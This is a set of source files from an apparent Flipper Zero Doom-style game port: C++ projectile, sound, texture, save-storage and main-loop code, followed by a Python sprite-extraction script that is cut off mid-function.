#include "game/FixedMath.h"
#include "game/Particle.h"
#include "game/Enemy.h"
#include "game/Generated/SpriteTypes.h"
#include "game/Platform.h"
#include "game/Sounds.h"
Projectile ProjectileManager::projectiles[ProjectileManager::MAX_PROJECTILES];
Projectile* ProjectileManager::FireProjectile(Entity* owner, int16_t x, int16_t y, uint8_t angle)
{
for (Projectile& p : projectiles)
{
if(p.life == 0)
{
if (owner == &Game::player)
p.ownerId = Projectile::playerOwnerId;
else
{
for (uint8_t n = 0; n < EnemyManager::maxEnemies; n++)
{
if (&EnemyManager::enemies[n] == owner)
{
p.ownerId = n;
break;
}
}
}
p.life = 255;
p.x = x;
p.y = y;
p.angle = angle;
return &p;
}
}
return nullptr;
}
Entity* Projectile::GetOwner() const
{
if (ownerId == playerOwnerId)
return &Game::player;
return &EnemyManager::enemies[ownerId];
}
void ProjectileManager::Update()
{
for (Projectile& p : projectiles)
{
if(p.life > 0)
{
p.life--;
int16_t deltaX = FixedCos(p.angle) / 4;
int16_t deltaY = FixedSin(p.angle) / 4;
p.x += deltaX;
p.y += deltaY;
bool hitAnything = false;
Entity* owner = p.GetOwner();
if (Map::IsBlockedAtWorldPosition(p.x, p.y))
{
uint8_t cellX = p.x / CELL_SIZE;
uint8_t cellY = p.y / CELL_SIZE;
if (Map::GetCellSafe(cellX, cellY) == CellType::Urn)
{
// Exploding barrel: splash damage to everything nearby
int16_t barrelX = cellX * CELL_SIZE + CELL_SIZE / 2;
int16_t barrelY = cellY * CELL_SIZE + CELL_SIZE / 2;
constexpr int16_t blastRadius = CELL_SIZE + CELL_SIZE / 2;
constexpr uint8_t enemyBlastDamage = 40;
constexpr uint8_t playerBlastDamage = 15;
Map::SetCell(cellX, cellY, CellType::Empty);
ParticleSystemManager::CreateExplosion(barrelX, barrelY, true);
for (uint8_t n = 0; n < EnemyManager::maxEnemies; n++)
{
Enemy& enemy = EnemyManager::enemies[n];
if (!enemy.IsValid())
continue;
int16_t dx = enemy.x - barrelX;
int16_t dy = enemy.y - barrelY;
if (ABS(dx) < blastRadius && ABS(dy) < blastRadius)
{
enemy.Damage(enemyBlastDamage);
}
}
{
int16_t dx = Game::player.x - barrelX;
int16_t dy = Game::player.y - barrelY;
if (ABS(dx) < blastRadius && ABS(dy) < blastRadius)
{
// barrels hurt but never kill the player outright
uint8_t dmg = playerBlastDamage;
if (Game::player.hp <= dmg)
dmg = Game::player.hp > 1 ? (uint8_t)(Game::player.hp - 1) : 0;
if (dmg)
Game::player.Damage(dmg);
}
}
// occasionally the barrel leaves a pickup behind
switch ((Random() % 6))
{
case 0:
Map::SetCell(cellX, cellY, CellType::Potion);
break;
case 1:
Map::SetCell(cellX, cellY, CellType::Coins);
break;
}
Platform::PlaySound(Sounds::Kill);
}
else
{
Platform::PlaySound(Sounds::Hit);
}
hitAnything = true;
}
else
{
if (owner == &Game::player)
{
Enemy* overlappingEnemy = EnemyManager::GetOverlappingEnemy(p.x, p.y);
if (overlappingEnemy)
{
overlappingEnemy->Damage(Player::attackStrength);
hitAnything = true;
}
}
else if(Game::player.IsOverlappingPoint(p.x, p.y))
{
const EnemyArchetype* enemyArchetype = ((Enemy*)owner)->GetArchetype();
if (enemyArchetype)
{
Game::player.Damage(enemyArchetype->GetAttackStrength());
if (Game::player.hp == 0)
{
Game::stats.killedBy = ((Enemy*)owner)->GetType();
}
}
hitAnything = true;
}
}
if (hitAnything)
{
ParticleSystemManager::CreateExplosion(p.x - deltaX, p.y - deltaY);
p.life = 0;
}
}
}
}
void ProjectileManager::Init()
{
for (Projectile& p : projectiles)
{
p.life = 0;
}
}
void ProjectileManager::Draw()
{
for(Projectile& p : projectiles)
{
if (p.life > 0)
{
Renderer::DrawObject(p.ownerId == Projectile::playerOwnerId ? projectileSpriteData : enemyProjectileSpriteData, p.x, p.y, 32, AnchorType::BelowCenter);
}
}
}
@@ -0,0 +1,28 @@
#pragma once
#include <stdint.h>
#include "game/Entity.h"
class Projectile : public Entity
{
public:
uint8_t angle;
uint8_t life;
uint8_t ownerId;
static constexpr uint8_t playerOwnerId = 0xff;
Entity* GetOwner() const;
};
class ProjectileManager
{
public:
static constexpr int MAX_PROJECTILES = 8;
static Projectile projectiles[MAX_PROJECTILES];
static Projectile* FireProjectile(Entity* owner, int16_t x, int16_t y, uint8_t angle);
static void Init();
static void Draw();
static void Update();
};
@@ -0,0 +1,60 @@
#include "game/Sounds.h"
// Shotgun blast: sharp crack followed by a fast descending boom with a
// short pump echo. All frequencies within the buzzer's 100-2500 Hz range.
const uint16_t Sounds::Attack[] PROGMEM = {
900, 2, 500, 3, 320, 4, 230, 5,
180, 6, 150, 7, 128, 9, 112, 11, 104, 13, 100, 15,
0, 8,
170, 4, 135, 6, 112, 9, 100, 14,
TONES_END
};
const uint16_t Sounds::Kill[] PROGMEM = {
0x0151,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x014b,0x0007,0x0136,0x0007,0x0146,0x0007,0x0169,0x0007,0x019e,0x0007,0x007f,0x0007,0x0185,
0x0007,0x0228,0x0007,0x026d,0x0007,0x02fc,0x0007,0x02e0,0x0007,0x01fd,0x0007,0x0219,0x0007,0x033c,0x0007,0x00e7,0x0007,0x0281,0x0007,0x026d,
0x000e,0x052d,0x000e,0x04da,0x000e,0x011c,0x0007,0x0387,0x0007,0x0360,0x0007,0x033c,0x0007,0x0387,0x0007,0x02ad,0x000e,0x02c6,0x0007,0x010c,
0x000e,0x02e0,0x0007,0x02c6,0x0007,0x0296,0x000e,0x0281,0x0007,0x02ad,0x0007,0x02c6,0x0007,0x02e0,0x0007,0x00e1,0x0007,0x031b,0x0007,0x0248,
0x0007,0x0219,0x0007,0x01f1,0x0007,0x01d9,0x000e,0x01f1,0x0007,0x020b,0x0007,0x02ad,0x0007,0x00d1,0x0007,0x0248,0x0007,0x0238,0x0007,0x0219,
0x0007,0x0228,0x000e,0x020b,0x0007,0x01e5,0x0007,0x01d9,0x0007, TONES_END
};
const uint16_t Sounds::Hit[] PROGMEM = {
0x0195,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x0416,0x0007,0x007f,0x0007,0x0000,0x000e,0x0177,0x0007,0x0000,0x001d,0x0146,0x0007,0x0140,
0x0007,0x013b,0x0007,0x0000,0x0047,0x00e7,0x0007,0x00e4,0x0007,0x0000,0x0015,0x009f,0x0007,0x009d,0x0007,0x0000,0x0088,0x0088,0x0007, TONES_END
};
const uint16_t Sounds::PlayerDeath[] PROGMEM = {
0x01b0,0x0007,0x0000,0x0015,0x00c8,0x0007,0x0000,0x0007,0x03b2,0x0007,0x0360,0x0007,0x02e0,0x0007,0x0296,0x0007,0x0248,0x0007,0x0219,0x0007,0x01fd,
0x0007,0x0450,0x0007,0x01ce,0x0007,0x01b9,0x0007,0x01a7,0x0007,0x0450,0x0007,0x017e,0x0007,0x0163,0x0007,0x0140,0x0007,0x052d,0x0007,0x0110,
0x0007,0x0109,0x0007,0x0102,0x0007,0x00f8,0x0007,0x04da,0x0007,0x00ca,0x0007,0x00bb,0x0007,0x00b3,0x0007,0x0491,0x0007,0x0096,0x0007,0x00d8,
0x0007,0x0000,0x001d,0x0296,0x0007,0x0000,0x002b,0x0228,0x0007,0x0000,0x0024,0x00fb,0x000e, TONES_END
};
const uint16_t Sounds::SpotPlayer[] PROGMEM = {
0x0110,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x01d9,0x0007,0x01fd,0x0007,0x020b,0x000e,0x0228,0x000e,0x0238,0x0007,0x0248,0x0007,0x026d,
0x0007,0x0281,0x0032,0x026d,0x0015,0x0248,0x0007,0x0238,0x0007,0x01b0,0x0007,0x017e,0x0007,0x0169,0x0007,0x014b,0x0007,0x0136,0x0007,0x0131,
0x0007,0x0102,0x0007,0x00f8,0x0007,0x00f2,0x0007,0x00e9,0x0007,0x00e4,0x0007,0x00d8,0x0007,0x00bd,0x0007,0x00ab,0x0007,0x009d,0x0007,0x0096,
0x0007,0x0094,0x0007,0x0092,0x0007,0x008e,0x0007,0x008b,0x0007,0x008a,0x0007,0x0089,0x0007,0x0088,0x0007,0x0087,0x0007,0x0086,0x0007,0x0085,
0x0007,0x0084,0x0007,0x0083,0x0007,0x0082,0x0007,0x0081,0x000e,0x0081,0x0007,0x0080,0x0007,0x007e,0x0007,0x007d,0x0007,0x007d,0x0007,0x0000,
0x0040,0x0090,0x0032, TONES_END
};
const uint16_t Sounds::Shoot[] PROGMEM = {
0x02e0,0x0007,0x0000,0x0015,0x03e2,0x0007,0x0000,0x0007,0x04da,0x0015,0x00b4,0x0007,0x01d9,0x0007,0x0000,0x0007,0x01f1,0x000e,0x0080,0x0007,0x01f1,
0x0007,0x0000,0x000e,0x025a,0x0007,0x00e4,0x0007,0x0000,0x0015,0x00c1,0x0007,0x0000,0x000e,0x01e5,0x0007,0x0000,0x0007,0x00ac,0x0007,0x0000,
0x0015,0x0091,0x0007, TONES_END
};
const uint16_t Sounds::Pickup[] PROGMEM = {
0x0120,0x0007,0x0000,0x0015,0x00e9,0x0007,0x0000,0x0007,0x0156,0x0015,0x0000,0x0032,0x0185,0x001d,0x0000,0x0040,0x020b,0x0015,0x0000,0x0032,0x0387,
0x0024,0x0000,0x0040,0x0387,0x002b,0x0000,0x0040,0x03b2,0x0032, TONES_END
};
const uint16_t Sounds::Ouch[] PROGMEM = {
0x01ce,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x0416,0x0007,0x0491,0x0007,0x03b2,0x0007,0x04da,0x0007,0x052d,0x0015,0x04da,0x0007,0x0491,
0x0007,0x02e0,0x0007,0x0296,0x0007,0x025a,0x0007,0x01f1,0x0007,0x0219,0x0007,0x0000,0x0007,0x01ce,0x0007,0x007c,0x000e,0x015c,0x0007,0x007d,
0x000e,0x0120,0x0007,0x007d,0x000e,0x00ef,0x0007,0x00d5,0x0007,0x00ca,0x0007,0x0000,0x0007,0x00c1,0x0007,0x00b9,0x0007,0x00b3,0x0007,0x00a9,
0x0007,0x007d,0x0007,0x007e,0x0007,0x0093,0x0007,0x007e,0x0007,0x0000,0x0007,0x0089,0x0007,0x0085,0x0007,0x0082,0x0007,0x0080,0x0007,0x007e,
0x0007,0x007d,0x0007, TONES_END
};
@@ -0,0 +1,18 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#define TONES_END 0x8000
class Sounds
{
public:
static const uint16_t Attack[];
static const uint16_t Kill[];
static const uint16_t Hit[];
static const uint16_t PlayerDeath[];
static const uint16_t SpotPlayer[];
static const uint16_t Shoot[];
static const uint16_t Pickup[];
static const uint16_t Ouch[];
};
@@ -0,0 +1,56 @@
#pragma once
#include "game/Defines.h"
// Tech-base wall panel: top/bottom seams with vertical panel gaps
const uint8_t vectorTexture0[] PROGMEM =
{
6,
0, 18, 128, 18,
0, 110, 128, 110,
32, 18, 32, 110,
64, 18, 64, 110,
96, 18, 96, 110,
48, 64, 80, 64,
};
const uint8_t vectorTexture1[] PROGMEM =
{
6,
0, 16, 128, 16 ,
0, 112, 128, 112 ,
0, 16, 0, 112,
0, 16, 128, 112,
0, 112, 128, 16,
128, 16, 128, 112,
/* 16, 16, 112, 16 ,
16, 16, 16, 128,
48, 16, 48, 128,
80, 16, 80, 128,
112, 16, 112, 128,*/
};
const uint8_t vectorTexture2[] PROGMEM =
{
12,
38,13,90,13,
38,13,64,38,
64,38,90,13,
13,38,38,64,
13,38,13,90,
13,90,38,64,
38,115,90,115,
38,115,64,90,
64,90,90,115,
90,64,115,38,
90,64,115,90,
115,38,115,90,
};
const uint8_t* const textures[] PROGMEM =
{
vectorTexture0,
vectorTexture1,
vectorTexture2,
};
@@ -0,0 +1,235 @@
#pragma once
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <furi.h>
#include <storage/storage.h>
#define EEPROM_LIB_PATH APP_DATA_PATH("eeprom.bin")
class EEPROMClass {
public:
static constexpr int kSize = 16;
static constexpr size_t kPathSize = 128;
EEPROMClass()
: loaded_(false)
, dirty_(false)
, path_resolved_(false) {
memset(mem_, 0x00, kSize);
memset(file_path_, 0x00, kPathSize);
strncpy(file_path_, EEPROM_LIB_PATH, kPathSize - 1);
}
void begin() {
ensureLoaded_();
}
int length() const {
return kSize;
}
uint8_t read(int addr) const {
ensureLoaded_();
if(addr < 0 || addr >= kSize) return 0;
return mem_[addr];
}
void write(int addr, uint8_t value) {
ensureLoaded_();
if(addr < 0 || addr >= kSize) return;
mem_[addr] = value;
dirty_ = true;
}
void update(int addr, uint8_t value) {
ensureLoaded_();
if(addr < 0 || addr >= kSize) return;
if(mem_[addr] != value) {
mem_[addr] = value;
dirty_ = true;
}
}
template <typename T>
T& get(int addr, T& out) const {
ensureLoaded_();
if(addr < 0 || addr + (int)sizeof(T) > kSize) return out;
memcpy(&out, mem_ + addr, sizeof(T));
return out;
}
template <typename T>
const T& put(int addr, const T& in) {
ensureLoaded_();
if(addr < 0 || addr + (int)sizeof(T) > kSize) return in;
bool changed = false;
const uint8_t* src = reinterpret_cast<const uint8_t*>(&in);
for(size_t i = 0; i < sizeof(T); i++) {
int a = addr + (int)i;
if(mem_[a] != src[i]) {
mem_[a] = src[i];
changed = true;
}
}
if(changed) dirty_ = true;
return in;
}
void clear(uint8_t value = 0) {
ensureLoaded_();
memset(mem_, value, kSize);
dirty_ = true;
}
bool commit() {
ensureLoaded_();
if(!dirty_) return true;
const bool ok = writeFile_();
if(ok) dirty_ = false;
return ok;
}
bool isDirty() const {
return dirty_;
}
private:
bool resolvePathIfNeeded_(Storage* storage) const {
if(path_resolved_) return true;
if(!storage) return false;
FuriString* path = furi_string_alloc_set_str(file_path_);
if(!path) return false;
storage_common_resolve_path_and_ensure_app_directory(storage, path);
const char* resolved = furi_string_get_cstr(path);
bool ok = false;
if(resolved && resolved[0]) {
const size_t len = strlen(resolved);
if(len < kPathSize) {
memcpy(file_path_, resolved, len + 1);
path_resolved_ = true;
ok = true;
}
}
furi_string_free(path);
return ok;
}
static void ensureDefaultDir_(Storage* storage) {
if(!storage) return;
(void)storage_common_mkdir(storage, STORAGE_APP_DATA_PATH_PREFIX);
}
void ensureLoaded_() const {
if(loaded_) return;
Storage* storage = (Storage*)furi_record_open(RECORD_STORAGE);
if(!storage) {
return;
}
(void)resolvePathIfNeeded_(storage);
ensureDefaultDir_(storage);
File* file = storage_file_alloc(storage);
if(!file) {
furi_record_close(RECORD_STORAGE);
return;
}
memset(mem_, 0x00, kSize);
bool ok = storage_file_open(file, file_path_, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS);
if(ok) {
const uint64_t file_size = storage_file_size(file);
bool need_rewrite = false;
(void)storage_file_seek(file, 0, true);
const size_t rd = storage_file_read(file, mem_, kSize);
if(rd < (size_t)kSize) {
need_rewrite = true;
}
if(file_size != (uint64_t)kSize) {
need_rewrite = true;
}
if(need_rewrite) {
(void)storage_file_seek(file, 0, true);
const size_t wr = storage_file_write(file, mem_, kSize);
if(wr == (size_t)kSize) {
(void)storage_file_truncate(file);
(void)storage_file_sync(file);
}
}
(void)storage_file_close(file);
} else {
(void)storage_file_close(file);
}
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
loaded_ = true;
dirty_ = false;
}
bool writeFile_() const {
Storage* storage = (Storage*)furi_record_open(RECORD_STORAGE);
if(!storage) return false;
if(!path_resolved_ && !resolvePathIfNeeded_(storage)) {
furi_record_close(RECORD_STORAGE);
return false;
}
ensureDefaultDir_(storage);
File* file = storage_file_alloc(storage);
if(!file) {
furi_record_close(RECORD_STORAGE);
return false;
}
bool ok = storage_file_open(file, file_path_, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS);
bool success = false;
if(ok) {
(void)storage_file_seek(file, 0, true);
size_t wr = storage_file_write(file, mem_, kSize);
(void)storage_file_truncate(file);
(void)storage_file_sync(file);
(void)storage_file_close(file);
success = (wr == (size_t)kSize);
} else {
(void)storage_file_close(file);
}
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
return success;
}
private:
mutable uint8_t mem_[kSize];
mutable bool loaded_;
mutable bool dirty_;
mutable bool path_resolved_;
mutable char file_path_[kPathSize];
};
#if (__cplusplus >= 201703L)
inline EEPROMClass EEPROM;
#else
extern EEPROMClass EEPROM;
#ifdef EEPROM_DEFINE_INSTANCE
EEPROMClass EEPROM;
#endif
#endif
@@ -0,0 +1,36 @@
//lib/flipper.h
#pragma once
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdbool.h>
#include <stdint.h>
#define DISPLAY_WIDTH 128
#define DISPLAY_HEIGHT 64
#define BUFFER_SIZE (DISPLAY_WIDTH * DISPLAY_HEIGHT / 8)
typedef struct {
uint8_t back_buffer[BUFFER_SIZE];
uint8_t front_buffer[BUFFER_SIZE];
Gui* gui;
Canvas* canvas;
FuriMutex* fb_mutex;
volatile uint8_t input_state;
volatile bool exit_requested;
volatile bool audio_enabled;
// back-hold логика
bool back_hold_active;
uint16_t back_hold_start;
bool back_hold_handled;
// input pubsub
FuriPubSub* input_events;
FuriPubSubSubscription* input_sub;
} FlipperState;
extern FlipperState* g_state;
+261
View File
@@ -0,0 +1,261 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <string.h>
#include "lib/flipper.h"
#include "lib/EEPROM.h"
#include "game/Game.h"
#include "game/Platform.h"
#define TARGET_FRAMERATE 30
#define HOLD_TIME_MS 300
FlipperState* g_state = NULL;
static volatile uint32_t s_input_cb_inflight = 0;
static volatile uint32_t s_fb_cb_inflight = 0;
static volatile uint8_t s_back_pressed = 0;
static inline void wait_inflight_zero(volatile uint32_t* counter) {
while(__atomic_load_n(counter, __ATOMIC_ACQUIRE) != 0) {
furi_delay_ms(1);
}
}
inline bool audio_enable(){
return !furi_hal_rtc_is_flag_set(FuriHalRtcFlagStealthMode);
}
static void framebuffer_commit_callback(
uint8_t* data,
size_t size,
CanvasOrientation orientation,
void* context) {
__atomic_fetch_add(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
FlipperState* state = (FlipperState*)context;
if(!state || !data || size < BUFFER_SIZE) {
__atomic_fetch_sub(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
return;
}
(void)orientation;
if(furi_mutex_acquire(state->fb_mutex, 0) != FuriStatusOk) {
__atomic_fetch_sub(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
return;
}
const uint8_t* src = state->front_buffer;
for(size_t i = 0; i < BUFFER_SIZE; i++) {
data[i] = (uint8_t)(src[i] ^ 0xFF);
}
furi_mutex_release(state->fb_mutex);
__atomic_fetch_sub(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
}
static void input_events_callback(const void* value, void* ctx) {
if(!value || !ctx) return;
__atomic_fetch_add(&s_input_cb_inflight, 1, __ATOMIC_RELAXED);
FlipperState* state = (FlipperState*)ctx;
const InputEvent* event = (const InputEvent*)value;
uint8_t bit = 0;
switch(event->key) {
case InputKeyUp:
bit = INPUT_UP;
break;
case InputKeyDown:
bit = INPUT_DOWN;
break;
case InputKeyLeft:
bit = INPUT_LEFT;
break;
case InputKeyRight:
bit = INPUT_RIGHT;
break;
case InputKeyOk:
bit = INPUT_B;
break;
case InputKeyBack:
if((event->type == InputTypePress) || (event->type == InputTypeRepeat)) {
(void)__atomic_store_n(&s_back_pressed, 1, __ATOMIC_RELAXED);
} else if(event->type == InputTypeRelease) {
(void)__atomic_store_n(&s_back_pressed, 0, __ATOMIC_RELAXED);
}
break;
default:
break;
}
if(state && bit) {
if((event->type == InputTypePress) || (event->type == InputTypeRepeat)) {
(void)__atomic_fetch_or((uint8_t*)&state->input_state, bit, __ATOMIC_RELAXED);
} else if(event->type == InputTypeRelease) {
(void)__atomic_fetch_and(
(uint8_t*)&state->input_state, (uint8_t)~bit, __ATOMIC_RELAXED);
}
}
__atomic_fetch_sub(&s_input_cb_inflight, 1, __ATOMIC_RELAXED);
}
extern "C" int32_t flipdoom_app(void* p) {
UNUSED(p);
Gui* gui = NULL;
Canvas* canvas = NULL;
FuriPubSub* input_events = NULL;
FuriPubSubSubscription* input_sub = NULL;
FlipperState* st = (FlipperState*)malloc(sizeof(FlipperState));
if(!st) return -1;
memset(st, 0, sizeof(FlipperState));
g_state = st;
do {
st->fb_mutex = furi_mutex_alloc(FuriMutexTypeNormal);
if(!st->fb_mutex) break;
memset(st->back_buffer, 0x00, BUFFER_SIZE);
memset(st->front_buffer, 0x00, BUFFER_SIZE);
EEPROM.begin();
furi_delay_ms(50);
Platform::SetAudioEnabled(audio_enable());
Game::menu.ReadSave();
gui = (Gui*)furi_record_open(RECORD_GUI);
if(!gui) break;
st->gui = gui;
gui_add_framebuffer_callback(gui, framebuffer_commit_callback, st);
canvas = gui_direct_draw_acquire(gui);
if(!canvas) break;
st->canvas = canvas;
input_events = (FuriPubSub*)furi_record_open(RECORD_INPUT_EVENTS);
if(!input_events) break;
st->input_events = input_events;
input_sub = furi_pubsub_subscribe(input_events, input_events_callback, st);
if(!input_sub) break;
st->input_sub = input_sub;
const uint32_t tick_hz = furi_kernel_get_tick_frequency();
uint32_t period_ticks = (tick_hz + (TARGET_FRAMERATE / 2)) / TARGET_FRAMERATE;
if(period_ticks == 0) period_ticks = 1;
const uint32_t hold_ticks = (uint32_t)((HOLD_TIME_MS * tick_hz + 999u) / 1000u);
uint32_t next_tick = furi_get_tick();
bool back_was_pressed = false;
bool back_hold_fired = false;
uint32_t back_press_tick = 0;
while(!st->exit_requested) {
uint32_t now = furi_get_tick();
// frame pacing
if((int32_t)(now - next_tick) < 0) {
uint32_t dt_ticks = next_tick - now;
uint32_t dt_ms = (dt_ticks * 1000u) / tick_hz;
furi_delay_ms(dt_ms ? dt_ms : 1);
continue;
}
if((int32_t)(now - next_tick) > (int32_t)(period_ticks * 2)) {
next_tick = now;
}
next_tick += period_ticks;
const bool back_pressed = (__atomic_load_n(&s_back_pressed, __ATOMIC_RELAXED) != 0);
// BACK hold logic
if(!back_pressed) {
back_was_pressed = false;
back_hold_fired = false;
} else {
if(!back_was_pressed) {
back_was_pressed = true;
back_press_tick = now;
back_hold_fired = false;
}
if(!back_hold_fired && ((uint32_t)(now - back_press_tick) >= hold_ticks)) {
back_hold_fired = true;
if(Game::InMenu())
st->exit_requested = true;
else
Game::GoToMenu();
}
}
if(st->exit_requested) break;
Game::Tick();
Game::Draw();
// swap for framebuffer callback
furi_mutex_acquire(st->fb_mutex, FuriWaitForever);
memcpy(st->front_buffer, st->back_buffer, BUFFER_SIZE);
furi_mutex_release(st->fb_mutex);
canvas_commit(canvas);
}
} while(false);
Game::menu.WriteSave();
if(input_sub && input_events) {
furi_pubsub_unsubscribe(input_events, input_sub);
input_sub = NULL;
}
st->input_sub = NULL;
wait_inflight_zero(&s_input_cb_inflight);
(void)__atomic_store_n(&s_back_pressed, 0, __ATOMIC_RELAXED);
if(input_events) {
furi_record_close(RECORD_INPUT_EVENTS);
input_events = NULL;
}
st->input_events = NULL;
if(gui) {
gui_remove_framebuffer_callback(gui, framebuffer_commit_callback, st);
}
wait_inflight_zero(&s_fb_cb_inflight);
if(gui) {
if(canvas) {
gui_direct_draw_release(gui);
canvas = NULL;
}
furi_record_close(RECORD_GUI);
gui = NULL;
}
st->gui = NULL;
st->canvas = NULL;
if(st->fb_mutex) {
furi_mutex_free(st->fb_mutex);
st->fb_mutex = NULL;
}
Platform::SetAudioEnabled(false);
free(st);
g_state = NULL;
return 0;
}
@@ -0,0 +1,521 @@
#!/usr/bin/env python3
"""
extract_doom_assets.py
Reads the user's own Doom shareware IWAD (Doom1.WAAD is freely distributable
as a whole) and converts a selection of its sprites into 1-bit assets in the
FlipperCatacombs engine formats. Nothing from the WAD is stored in this
repository: the header is generated locally at build time from the WAD the
user already has.
Usage:
python3 tools/extract_doom_assets.py <path/to/Doom1.WAD> [output_header]
Output (default): game/Generated/DoomSprites.inc.h
Engine formats
--------------
1) Scaled sprite (16x16), uint16_t array, per frame:
16 columns x 2 words: [transparency mask, colour], bit v = row v (bit0=top)
2) Page sprite (Platform::DrawSprite): uint8_t array:
w, h, then per page (8 rows), per column: [colour byte, mask byte]
(bit0 = top row of the page)
3) Solid bitmap (Platform::DrawSolidBitmap): uint8_t array:
w, h, then per page, per column: colour byte where bit=1 means BLACK
(DrawSolidBitmap writes fill = ~src)
4) HUD icon: 8 raw page bytes (bit=1 -> white pixel)
"""
import struct
import sys
import os
# ---------------------------------------------------------------- WAD parsing
class Wad:
def __init__(self, path):
self.data = open(path, "rb").read()
ident, numlumps, diroff = struct.unpack_from("<4sII", self.data, 0)
if ident not in (b"IWAD", b"PWAD"):
raise ValueError("Not a WAD file")
self.lumps = {}
for i in range(numlumps):
off, size, name = struct.unpack_from("<II8s", self.data, diroff + 16 * i)
name = name.rstrip(b"\0").decode("ascii", "replace")
# keep first occurrence (IWAD order)
if name not in self.lumps:
self.lumps[name] = (off, size)
def lump(self, name):
off, size = self.lumps[name]
return self.data[off : off + size]
def has(self, name):
return name in self.lumps
def load_palette(wad):
pal = wad.lump("PLAYPAL")[:768]
grays = []
for i in range(256):
r, g, b = pal[i * 3], pal[i * 3 + 1], pal[i * 3 + 2]
grays.append(0.299 * r + 0.587 * g + 0.114 * b)
return grays
def decode_picture(wad, name, grays):
"""Decode Doom picture format -> (w, h, pixels) where pixels is a list of
rows; each entry is None (transparent) or gray 0..255."""
raw = wad.lump(name)
w, h, _lo, _to = struct.unpack_from("<hhhh", raw, 0)
colofs = struct.unpack_from("<%di" % w, raw, 8)
pix = [[None] * w for _ in range(h)]
for x in range(w):
p = colofs[x]
while raw[p] != 0xFF:
topdelta = raw[p]
length = raw[p + 1]
p += 3 # topdelta, length, pad
for i in range(length):
y = topdelta + i
if 0 <= y < h:
pix[y][x] = grays[raw[p]]
p += 1
p += 1 # trailing pad
return w, h, pix
# ------------------------------------------------------------- image helpers
BAYER4 = [
[0, 8, 2, 10],
[12, 4, 14, 6],
[3, 11, 1, 9],
[15, 7, 13, 5],
]
def bbox(pix):
xs, ys = [], []
for y, row in enumerate(pix):
for x, v in enumerate(row):
if v is not None:
xs.append(x)
ys.append(y)
return min(xs), min(ys), max(xs) + 1, max(ys) + 1
def crop(pix, x0, y0, x1, y1):
return [row[x0:x1] for row in pix[y0:y1]]
def box_resize(pix, nw, nh):
"""Box-filter resize of (gray|None) grid; alpha = coverage."""
h = len(pix)
w = len(pix[0])
out_gray = [[0.0] * nw for _ in range(nh)]
out_alpha = [[0.0] * nw for _ in range(nh)]
for ny in range(nh):
sy0 = ny * h / nh
sy1 = (ny + 1) * h / nh
for nx in range(nw):
sx0 = nx * w / nw
sx1 = (nx + 1) * w / nw
acc_g = acc_a = acc_w = 0.0
y = int(sy0)
while y < sy1 and y < h:
wy = min(sy1, y + 1) - max(sy0, y)
x = int(sx0)
while x < sx1 and x < w:
wx = min(sx1, x + 1) - max(sx0, x)
weight = wx * wy
acc_w += weight
v = pix[y][x]
if v is not None:
acc_a += weight
acc_g += weight * v
x += 1
y += 1
if acc_w > 0 and acc_a > 0:
out_gray[ny][nx] = acc_g / acc_a
out_alpha[ny][nx] = acc_a / acc_w
return out_gray, out_alpha
def normalize(gray, alpha, thresh=0.5):
"""Per-sprite contrast stretch over opaque pixels."""
vals = [
gray[y][x]
for y in range(len(gray))
for x in range(len(gray[0]))
if alpha[y][x] >= thresh
]
if not vals:
return gray
lo, hi = min(vals), max(vals)
if hi - lo < 1e-6:
hi = lo + 1.0
return [
[(v - lo) * 255.0 / (hi - lo) for v in row]
for row in gray
]
def to_1bit(gray, alpha, bias=0.0):
"""3-tone quantization (black / 50% checker / white) for clean tiny
sprites. Returns (colour, mask) row-major bools."""
h, w = len(gray), len(gray[0])
colour = [[False] * w for _ in range(h)]
mask = [[False] * w for _ in range(h)]
for y in range(h):
for x in range(w):
if alpha[y][x] >= 0.5:
mask[y][x] = True
v = gray[y][x] + bias
if v < 80:
colour[y][x] = False
elif v < 175:
colour[y][x] = ((x + y) & 1) == 0
else:
colour[y][x] = True
return colour, mask
def fit_grid(pix, size, valign, hpad=0):
"""Crop to bbox, keep aspect, fit into size x size grid.
valign: 'bottom' or 'center'."""
x0, y0, x1, y1 = bbox(pix)
pix = crop(pix, x0, y0, x1, y1)
w = x1 - x0
h = y1 - y0
avail = size - hpad * 2
if w >= h:
nw = avail
nh = max(1, round(h * avail / w))
else:
nh = avail
nw = max(1, round(w * avail / h))
gray, alpha = box_resize(pix, nw, nh)
# paste into size x size
g = [[0.0] * size for _ in range(size)]
a = [[0.0] * size for _ in range(size)]
ox = (size - nw) // 2
oy = (size - nh) if valign == "bottom" else (size - nh) // 2
for y in range(nh):
for x in range(nw):
g[oy + y][ox + x] = gray[y][x]
a[oy + y][ox + x] = alpha[y][x]
return g, a
# ------------------------------------------------------------ format emitters
def emit_scaled16(frames):
"""frames: list of (colour, mask) 16x16 row-major -> list of uint16 words."""
words = []
for colour, mask in frames:
for x in range(16):
t = c = 0
for y in range(16):
if mask[y][x]:
t |= 1 << y
if colour[y][x]:
c |= 1 << y
words.append(t)
words.append(c)
return words
def emit_page_sprite(colour, mask):
"""-> list of bytes: w, h, then per page per column [colour, mask]."""
h, w = len(colour), len(colour[0])
pages = (h + 7) // 8
out = [w, h]
for page in range(pages):
for x in range(w):
cb = mb = 0
for bit in range(8):
y = page * 8 + bit
if y < h and mask[y][x]:
mb |= 1 << bit
if colour[y][x]:
cb |= 1 << bit
out.append(cb)
out.append(mb)
return out
def emit_solid_bitmap(colour):
"""DrawSolidBitmap: bit=1 -> black. colour True = white pixel."""
h, w = len(colour), len(colour[0])
pages = (h + 7) // 8
out = [w, h]
for page in range(pages):
for x in range(w):
b = 0
for bit in range(8):
y = page * 8 + bit
